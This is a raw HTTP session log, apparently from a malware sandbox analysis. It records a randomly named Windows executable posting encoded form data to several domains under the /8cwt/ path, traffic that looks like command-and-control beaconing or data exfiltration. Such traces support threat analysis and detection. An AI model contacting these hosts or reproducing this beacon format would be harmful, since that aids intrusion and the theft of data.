Jun 4, 2024 14:15:11.970091105 CEST	431	OUT	GET /8cwt/?24eluX=iQ4bGvtt1bUOdIMmx0FoKxyGgfNtaKfegGtnnpaIA0bWJs9Q4689zouPx5Y4+HL6T4TvrzgawqpIlVOGUgGREoTlcD3Zw3RnhErLbn743FaHB2O7toC+0mA=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.respirelavie.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:15:12.291779041 CEST	401	IN	HTTP/1.1 400 Bad Request Date: Tue, 04 Jun 2024 12:15:10 GMT Server: X-Frame-Options: SAMEORIGIN Content-Length: 150 Connection: close X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.30	49847	173.232.18.161	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:15:27.639980078 CEST	704	OUT	POST /8cwt/ HTTP/1.1 Host: www.airportsurvery.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.airportsurvery.com Referer: http://www.airportsurvery.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 48 43 4d 4c 33 38 55 55 72 50 61 39 47 69 6b 73 79 76 39 4b 43 41 51 54 66 61 54 58 34 57 4a 4b 4d 42 68 64 47 4c 57 7a 48 37 54 61 46 4c 32 4b 33 38 55 4b 4b 45 33 53 45 37 49 44 58 76 31 79 6d 44 50 57 69 68 68 77 4b 2f 53 47 75 6d 63 67 6e 50 63 65 68 4a 56 71 6a 4b 4a 66 6c 76 43 64 36 6b 53 7a 31 78 30 35 49 59 76 53 62 4a 6c 33 4c 6b 42 33 5a 65 78 34 68 6a 2f 75 61 46 65 76 5a 36 36 52 47 77 58 58 4e 39 4f 53 42 56 62 6e 50 33 31 6e 47 73 72 63 42 67 66 37 6a 2f 57 46 59 2f 77 62 77 4c 5a 30 68 36 4f 37 30 58 59 69 64 57 4f 71 73 51 56 47 4e 78 4d 6b 6a 4e 56 44 46 41 3d 3d Data Ascii: 24eluX=HCML38UUrPa9Giksyv9KCAQTfaTX4WJKMBhdGLWzH7TaFL2K38UKKE3SE7IDXv1ymDPWihhwK/SGumcgnPcehJVqjKJflvCd6kSz1x05IYvSbJl3LkB3Zex4hj/uaFevZ66RGwXXN9OSBVbnP31nGsrcBgf7j/WFY/wbwLZ0h6O70XYidWOqsQVGNxMkjNVDFA==
Jun 4, 2024 14:15:27.807467937 CEST	974	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 04 Jun 2024 12:14:50 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41 Content-Encoding: gzip Data Raw: 32 64 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 9d 54 cb 6e d3 40 14 dd e7 2b 2e de 24 91 5a 4f 8a 40 42 89 63 89 d2 20 90 4a a9 68 2a 81 10 42 63 fb 26 1e b0 67 86 99 71 d3 14 90 58 21 58 01 1b 04 2a 2b e8 82 87 40 48 6c 40 3c be a6 e1 b1 e2 17 b8 76 02 2d 8f 15 0b 5b f2 dc 73 ce 3d f7 31 0e 0e 2c 9d 3e d6 3f b7 da 83 13 fd 53 cb b0 ba be b8 7c f2 18 78 f3 8c 9d ec f5 8f 33 b6 d4 5f 9a 46 0e fa 2d c6 7a 2b 5e 58 0b 52 97 67 61 90 22 4f e8 c3 09 97 61 38 b9 b3 33 d9 79 b6 fb ee ee ee fb 27 5f 9f de 98 ec 3c ff f6 e0 cd b7 ed 9b 93 ed c7 df 3f dc da 7d fb 72 b2 fd f1 fb 87 db 93 57 0f 3e df 7f f7 e5 e3 bd 2f 2f 1e 06 6c 4a ad 05 36 36 42 3b b0 26 ee 7a ec d2 95 02 cd d8 cf 85 f4 2f 59 0f c2 80 4d c3 94 8a 55 29 83 48 25 63 4a bf 10 06 1c 52 83 03 22 79 50 69 75 eb ff e1 a3 fe 7f e6 39 39 23 0f d4 8d 85 70 45 39 38 ae 0a 99 cc 8e 74 d8 4f 11 0c 52 29 d6 61 02 eb 67 96 61 c4 2d 48 c2 0d 4a 1c 28 09 2e 15 16 2c 9a 0d 34 7e c0 34 29 e9 f0 68 92 08 27 94 e4 59 36 9e 03 0e 87 5a 87 e0 97 78 0d 8d 51 a6 12 42 [TRUNCATED] Data Ascii: 2dcTn@+.$ZO@Bc JhBc&gqX!X+@Hl@<v-[s=1,>?S\|x3_F-z+^XRga"Oa83y'_<?}rW>//lJ66B;&z/YMU)H%cJR"yPiu99#pE98tOR)aga-HJ(.,4~4)h'Y6ZxQBCCTdSPX.WT\(]yr=g<IZ<&Zh<faUGZ4/v\ S8t<CNPao 0mQ<]e\^G'F`o!Q.ka>Q!lChh4np.$AaF}fDY5XeDj\|3Avyu#B=uNzFBj6c[[~XG\X&e[DpL6S\\V-IQi2zb+<7-v8PftwU/&0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49848	173.232.18.161	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:15:30.318486929 CEST	724	OUT	POST /8cwt/ HTTP/1.1 Host: www.airportsurvery.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.airportsurvery.com Referer: http://www.airportsurvery.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 48 43 4d 4c 33 38 55 55 72 50 61 39 41 43 55 73 30 4f 39 4b 56 77 51 63 51 36 54 58 6a 47 4a 4f 4d 42 64 64 47 4a 36 5a 45 49 6e 61 46 75 4b 4b 32 39 55 4b 5a 30 33 53 4b 62 49 43 54 76 31 39 6d 44 44 65 69 6b 5a 77 4b 2f 47 47 75 6d 4d 67 6e 34 6f 5a 67 5a 56 6f 6f 71 4a 64 72 50 43 64 36 6b 53 7a 31 78 77 48 49 63 44 53 62 5a 56 33 4c 47 35 32 48 4f 78 6e 67 6a 2f 75 4c 56 65 72 5a 36 36 76 47 30 58 39 4e 34 4b 53 42 56 72 6e 4d 6a 68 6b 50 73 72 61 4f 41 65 52 75 2b 7a 4e 65 66 41 39 37 39 42 59 6b 6f 36 78 31 41 70 34 41 56 36 6f 2f 77 70 72 52 77 68 4d 68 50 55 59 59 45 4f 33 53 76 74 77 41 48 2f 69 6a 2f 33 6c 34 4d 42 64 35 73 51 3d Data Ascii: 24eluX=HCML38UUrPa9ACUs0O9KVwQcQ6TXjGJOMBddGJ6ZEInaFuKK29UKZ03SKbICTv19mDDeikZwK/GGumMgn4oZgZVooqJdrPCd6kSz1xwHIcDSbZV3LG52HOxngj/uLVerZ66vG0X9N4KSBVrnMjhkPsraOAeRu+zNefA979BYko6x1Ap4AV6o/wprRwhMhPUYYEO3SvtwAH/ij/3l4MBd5sQ=
Jun 4, 2024 14:15:30.485426903 CEST	974	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 04 Jun 2024 12:14:53 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41 Content-Encoding: gzip Data Raw: 32 64 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 9d 54 cb 6e d3 40 14 dd e7 2b 2e de 24 91 5a 4f 8a 40 42 89 63 89 d2 20 90 4a a9 68 2a 81 10 42 63 fb 26 1e b0 67 86 99 71 d3 14 90 58 21 58 01 1b 04 2a 2b e8 82 87 40 48 6c 40 3c be a6 e1 b1 e2 17 b8 76 02 2d 8f 15 0b 5b f2 dc 73 ce 3d f7 31 0e 0e 2c 9d 3e d6 3f b7 da 83 13 fd 53 cb b0 ba be b8 7c f2 18 78 f3 8c 9d ec f5 8f 33 b6 d4 5f 9a 46 0e fa 2d c6 7a 2b 5e 58 0b 52 97 67 61 90 22 4f e8 c3 09 97 61 38 b9 b3 33 d9 79 b6 fb ee ee ee fb 27 5f 9f de 98 ec 3c ff f6 e0 cd b7 ed 9b 93 ed c7 df 3f dc da 7d fb 72 b2 fd f1 fb 87 db 93 57 0f 3e df 7f f7 e5 e3 bd 2f 2f 1e 06 6c 4a ad 05 36 36 42 3b b0 26 ee 7a ec d2 95 02 cd d8 cf 85 f4 2f 59 0f c2 80 4d c3 94 8a 55 29 83 48 25 63 4a bf 10 06 1c 52 83 03 22 79 50 69 75 eb ff e1 a3 fe 7f e6 39 39 23 0f d4 8d 85 70 45 39 38 ae 0a 99 cc 8e 74 d8 4f 11 0c 52 29 d6 61 02 eb 67 96 61 c4 2d 48 c2 0d 4a 1c 28 09 2e 15 16 2c 9a 0d 34 7e c0 34 29 e9 f0 68 92 08 27 94 e4 59 36 9e 03 0e 87 5a 87 e0 97 78 0d 8d 51 a6 12 42 [TRUNCATED] Data Ascii: 2dcTn@+.$ZO@Bc JhBc&gqX!X+@Hl@<v-[s=1,>?S\|x3_F-z+^XRga"Oa83y'_<?}rW>//lJ66B;&z/YMU)H%cJR"yPiu99#pE98tOR)aga-HJ(.,4~4)h'Y6ZxQBCCTdSPX.WT\(]yr=g<IZ<&Zh<faUGZ4/v\ S8t<CNPao 0mQ<]e\^G'F`o!Q.ka>Q!lChh4np.$AaF}fDY5XeDj\|3Avyu#B=uNzFBj6c[[~XG\X&e[DpL6S\\V-IQi2zb+<7-v8PftwU/&0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49849	173.232.18.161	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:15:33.008725882 CEST	1641	OUT	POST /8cwt/ HTTP/1.1 Host: www.airportsurvery.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.airportsurvery.com Referer: http://www.airportsurvery.com/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 1139 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 48 43 4d 4c 33 38 55 55 72 50 61 39 41 43 55 73 30 4f 39 4b 56 77 51 63 51 36 54 58 6a 47 4a 4f 4d 42 64 64 47 4a 36 5a 45 49 2f 61 47 59 2b 4b 32 61 41 4b 61 30 33 53 56 72 49 66 54 76 31 61 6d 44 62 61 69 6b 45 50 4b 39 2b 47 38 31 30 67 76 74 45 5a 70 5a 56 6f 6e 4b 4a 41 6c 76 43 49 36 6b 69 33 31 78 67 48 49 63 44 53 62 66 5a 33 66 45 42 32 41 2b 78 34 68 6a 2f 79 61 46 65 54 5a 36 79 5a 47 30 44 48 59 63 2b 53 42 78 50 6e 4e 51 5a 6b 41 73 72 59 4e 41 65 4a 75 2b 50 43 65 66 63 35 37 34 39 79 6b 76 57 78 31 47 38 2f 62 6d 53 43 38 67 39 51 53 51 70 6e 6e 50 41 6d 65 32 2b 41 61 66 31 39 41 7a 76 66 75 59 2f 62 6b 65 5a 6e 71 49 4d 6e 33 78 57 74 73 63 35 45 72 76 31 39 68 73 4a 56 48 58 46 62 77 75 48 7a 7a 64 71 70 57 34 79 55 4a 32 38 42 6a 69 33 2b 30 67 72 43 70 6f 77 72 34 33 64 64 6f 72 74 4a 54 68 6c 58 73 4b 51 69 53 77 69 6d 32 35 62 59 4c 71 4e 38 70 46 76 36 59 71 4d 44 49 5a 45 62 63 6e 66 54 4e 56 4d 49 6a 57 65 37 76 56 64 51 62 2f 63 6f 76 42 72 55 33 65 6a [TRUNCATED] Data Ascii: 24eluX=HCML38UUrPa9ACUs0O9KVwQcQ6TXjGJOMBddGJ6ZEI/aGY+K2aAKa03SVrIfTv1amDbaikEPK9+G810gvtEZpZVonKJAlvCI6ki31xgHIcDSbfZ3fEB2A+x4hj/yaFeTZ6yZG0DHYc+SBxPnNQZkAsrYNAeJu+PCefc5749ykvWx1G8/bmSC8g9QSQpnnPAme2+Aaf19AzvfuY/bkeZnqIMn3xWtsc5Erv19hsJVHXFbwuHzzdqpW4yUJ28Bji3+0grCpowr43ddortJThlXsKQiSwim25bYLqN8pFv6YqMDIZEbcnfTNVMIjWe7vVdQb/covBrU3ejCI1OntHlFUU9mT3XIhc1Q+51UH2IJ3wWI1QXTulSNuyxnHWwz9kXFq2VS19hVkzhEqYX3enFpTMsQtddZrsT2+wnYMyZSs8Gr0mom5Cnd3VihMPeuh6bWW3E27Fk50DZMisp9jeGZx/kD3npdM/BI21nzONWTS+/56jWe2/ZRejTNRh4eoxlqt5zPCsth1fKqGABDAYGovtnPA8vj7XzY1xIeN6Ys/Y6pAwhP/EoZmL6VFzB24tCHcOUEU0XHiLoM8UrB8mA2pYXyFJqTlDYkCTDgHSfzxfELyJ3FMmMkUJ6RaEA6SsV7N7myXW0KIyrYsR/NeHed0Ee4+vanshyCMpIM/z6/0+vPJAPOYQPNFN9GmN7qfsxW+3qD96rX6gu0XDULh6Yew4IqIEeJAXmCvRLSOYLrzuJd5ux12kEtYRIenBsRjTN44hC+zftBW5Dx4T9YyVtNWYL9VJu5wC/Ouequ80u7qvt66lGxUsYaMzEhtGcLjaA+IVaPb5zEKkOAiSeNiWKNdxvSMtgmoN6kArrMQFMMhlWpU5EDj4SGteZOS2KgvpNcS/wgdp+Vrcv2bpi4Ui4xYuvHzzF8A5cHyR9eqlVUAKL61lI7L/yECxdHWDARkahIKZPFsmWgzanM2xkY/3pIvyXQhKmz0+d1pFfgDsKOd0399 [TRUNCATED]
Jun 4, 2024 14:15:33.175259113 CEST	974	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 04 Jun 2024 12:14:55 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41 Content-Encoding: gzip Data Raw: 32 64 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 9d 54 cb 6e d3 40 14 dd e7 2b 2e de 24 91 5a 4f 8a 40 42 89 63 89 d2 20 90 4a a9 68 2a 81 10 42 63 fb 26 1e b0 67 86 99 71 d3 14 90 58 21 58 01 1b 04 2a 2b e8 82 87 40 48 6c 40 3c be a6 e1 b1 e2 17 b8 76 02 2d 8f 15 0b 5b f2 dc 73 ce 3d f7 31 0e 0e 2c 9d 3e d6 3f b7 da 83 13 fd 53 cb b0 ba be b8 7c f2 18 78 f3 8c 9d ec f5 8f 33 b6 d4 5f 9a 46 0e fa 2d c6 7a 2b 5e 58 0b 52 97 67 61 90 22 4f e8 c3 09 97 61 38 b9 b3 33 d9 79 b6 fb ee ee ee fb 27 5f 9f de 98 ec 3c ff f6 e0 cd b7 ed 9b 93 ed c7 df 3f dc da 7d fb 72 b2 fd f1 fb 87 db 93 57 0f 3e df 7f f7 e5 e3 bd 2f 2f 1e 06 6c 4a ad 05 36 36 42 3b b0 26 ee 7a ec d2 95 02 cd d8 cf 85 f4 2f 59 0f c2 80 4d c3 94 8a 55 29 83 48 25 63 4a bf 10 06 1c 52 83 03 22 79 50 69 75 eb ff e1 a3 fe 7f e6 39 39 23 0f d4 8d 85 70 45 39 38 ae 0a 99 cc 8e 74 d8 4f 11 0c 52 29 d6 61 02 eb 67 96 61 c4 2d 48 c2 0d 4a 1c 28 09 2e 15 16 2c 9a 0d 34 7e c0 34 29 e9 f0 68 92 08 27 94 e4 59 36 9e 03 0e 87 5a 87 e0 97 78 0d 8d 51 a6 12 42 [TRUNCATED] Data Ascii: 2dcTn@+.$ZO@Bc JhBc&gqX!X+@Hl@<v-[s=1,>?S\|x3_F-z+^XRga"Oa83y'_<?}rW>//lJ66B;&z/YMU)H%cJR"yPiu99#pE98tOR)aga-HJ(.,4~4)h'Y6ZxQBCCTdSPX.WT\(]yr=g<IZ<&Zh<faUGZ4/v\ S8t<CNPao 0mQ<]e\^G'F`o!Q.ka>Q!lChh4np.$AaF}fDY5XeDj\|3Avyu#B=uNzFBj6c[[~XG\X&e[DpL6S\\V-IQi2zb+<7-v8PftwU/&0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.30	49850	173.232.18.161	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:15:35.691826105 CEST	433	OUT	GET /8cwt/?24eluX=KAkr0JsC36DOGBdb86MaWw8oa5TA2XZrFg5SI4PSAqjqBay0+Mt9GFSkKu0kcsR0pRjPiVoCFffv9kAFnu4p94pvlKRDsoyD63jLrTdFBvrOG4BRdTojXfc=&Mjnd0=JZHP8Tx0t6 HTTP/1.1 Host: www.airportsurvery.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Jun 4, 2024 14:15:36.539907932 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 04 Jun 2024 12:14:59 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.4.41 Data Raw: 34 38 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e e5 8f a4 e5 a4 a9 e4 b9 90 e4 bb a3 e8 a8 80 e5 a4 aa e9 98 b3 e9 9b 86 e5 9b a2 ef bc 88 e4 b8 ad e5 9b bd ef bc 89 e5 ae 98 e6 96 b9 e7 bd 91 e7 ab 99 3c 2f 74 69 74 6c 65 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 27 e5 8f a4 e5 a4 a9 e4 b9 90 e4 bb a3 e8 a8 80 e5 a4 aa e9 98 b3 e9 9b 86 e5 9b a2 ef bc 88 e4 b8 ad e5 9b bd ef bc 89 e5 ae 98 e6 96 b9 e7 bd 91 e7 ab 99 27 3e e5 8f a4 e5 a4 a9 e4 b9 90 e4 bb a3 e8 a8 80 e5 a4 aa e9 98 b3 e9 9b 86 e5 9b a2 ef bc 88 e4 b8 ad e5 9b bd ef bc 89 e5 ae 98 e6 96 b9 e7 bd 91 e7 ab 99 3c 2f 61 3e 3c 2f 68 31 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e [TRUNCATED] Data Ascii: 48c<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title></title><script src="/jquery.min.js" ></script></head><body><h1><a href="/" title=''></a></h1><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache Server at www.meas-elec.com Port 80</address><div style="clear:both;padding:10px;text-align:center;margin:5"><a href="/airportsurvery.com.xml" target="_blank">XML </a> \| <a href="/airportsurvery.com.html" target="_blank">Sitemap </a></div><script> (function(){var bp = document.createElement('script');var curProtocol = window.location.protocol.split(':')[0];if (curProtocol === 'https') {bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';}else{bp.src = ' [TRUNCATED]
Jun 4, 2024 14:15:36.539975882 CEST	93	IN	Data Raw: 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 62 70 2c 20 73 29 3b 20 7d 29 28 29 3b 20 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 Data Ascii: yTagName("script")[0];s.parentNode.insertBefore(bp, s); })(); </script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.30	49851	203.161.49.193	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:15:41.927440882 CEST	692	OUT	POST /8cwt/ HTTP/1.1 Host: www.innovtech.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.innovtech.life Referer: http://www.innovtech.life/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 66 51 42 6d 6d 59 7a 36 71 76 4b 2b 44 66 37 65 31 6f 5a 42 69 42 78 71 63 4a 7a 63 7a 73 54 39 37 75 43 39 41 52 35 75 67 4c 63 6e 4f 4f 75 71 71 75 76 7a 71 56 62 62 72 57 30 6f 30 4e 76 49 65 30 32 35 6e 78 39 45 6a 44 62 73 77 72 54 73 2b 2b 51 49 48 50 49 69 44 4b 66 49 39 37 49 2f 30 34 4b 73 6a 41 4d 55 4e 35 47 64 4c 63 6f 75 72 46 33 57 65 4b 43 36 77 36 59 6b 2f 43 77 76 6e 66 34 64 59 72 30 58 64 35 70 76 6a 4c 53 2f 4a 74 77 2b 49 4e 48 41 74 39 34 55 46 52 6b 7a 56 42 5a 50 6e 6b 49 66 34 66 46 49 59 76 33 47 34 6e 63 6f 43 70 57 30 67 78 4b 58 33 43 51 30 6b 41 3d 3d Data Ascii: 24eluX=fQBmmYz6qvK+Df7e1oZBiBxqcJzczsT97uC9AR5ugLcnOOuqquvzqVbbrW0o0NvIe025nx9EjDbswrTs++QIHPIiDKfI97I/04KsjAMUN5GdLcourF3WeKC6w6Yk/Cwvnf4dYr0Xd5pvjLS/Jtw+INHAt94UFRkzVBZPnkIf4fFIYv3G4ncoCpW0gxKX3CQ0kA==
Jun 4, 2024 14:15:42.108845949 CEST	533	IN	HTTP/1.1 404 Not Found Date: Tue, 04 Jun 2024 12:15:42 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.30	49852	203.161.49.193	80	2980	C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 14:15:44.628499031 CEST	712	OUT	POST /8cwt/ HTTP/1.1 Host: www.innovtech.life Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Origin: http://www.innovtech.life Referer: http://www.innovtech.life/8cwt/ Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 32 34 65 6c 75 58 3d 66 51 42 6d 6d 59 7a 36 71 76 4b 2b 43 2b 4c 65 7a 50 74 42 33 52 78 31 51 70 7a 63 6d 38 54 44 37 75 65 39 41 51 39 48 68 34 34 6e 4f 76 65 71 34 73 48 7a 74 56 62 62 6c 32 30 74 77 4e 76 42 65 30 36 66 6e 31 39 45 6a 44 50 73 77 71 6a 73 2b 74 34 4c 46 66 49 67 57 61 66 4b 77 62 49 2f 30 34 4b 73 6a 42 6f 36 4e 39 53 64 4c 74 59 75 71 68 6a 5a 46 71 43 35 35 61 59 6b 73 53 77 6a 6e 66 35 34 59 71 35 4d 64 37 42 76 6a 4f 32 2f 4a 2f 59 68 54 64 48 43 77 4e 35 47 4d 30 52 4e 56 44 59 39 32 57 59 6c 2f 65 5a 39 64 34 47 63 6c 6b 6f 71 52 4a 71 5a 38 77 6e 2f 31 41 52 76 35 4d 44 52 2b 6f 54 6f 67 77 4f 52 72 6b 56 47 71 63 2f 50 78 63 4d 3d Data Ascii: 24eluX=fQBmmYz6qvK+C+LezPtB3Rx1Qpzcm8TD7ue9AQ9Hh44nOveq4sHztVbbl20twNvBe06fn19EjDPswqjs+t4LFfIgWafKwbI/04KsjBo6N9SdLtYuqhjZFqC55aYksSwjnf54Yq5Md7BvjO2/J/YhTdHCwN5GM0RNVDY92WYl/eZ9d4GclkoqRJqZ8wn/1ARv5MDR+oTogwORrkVGqc/PxcM=
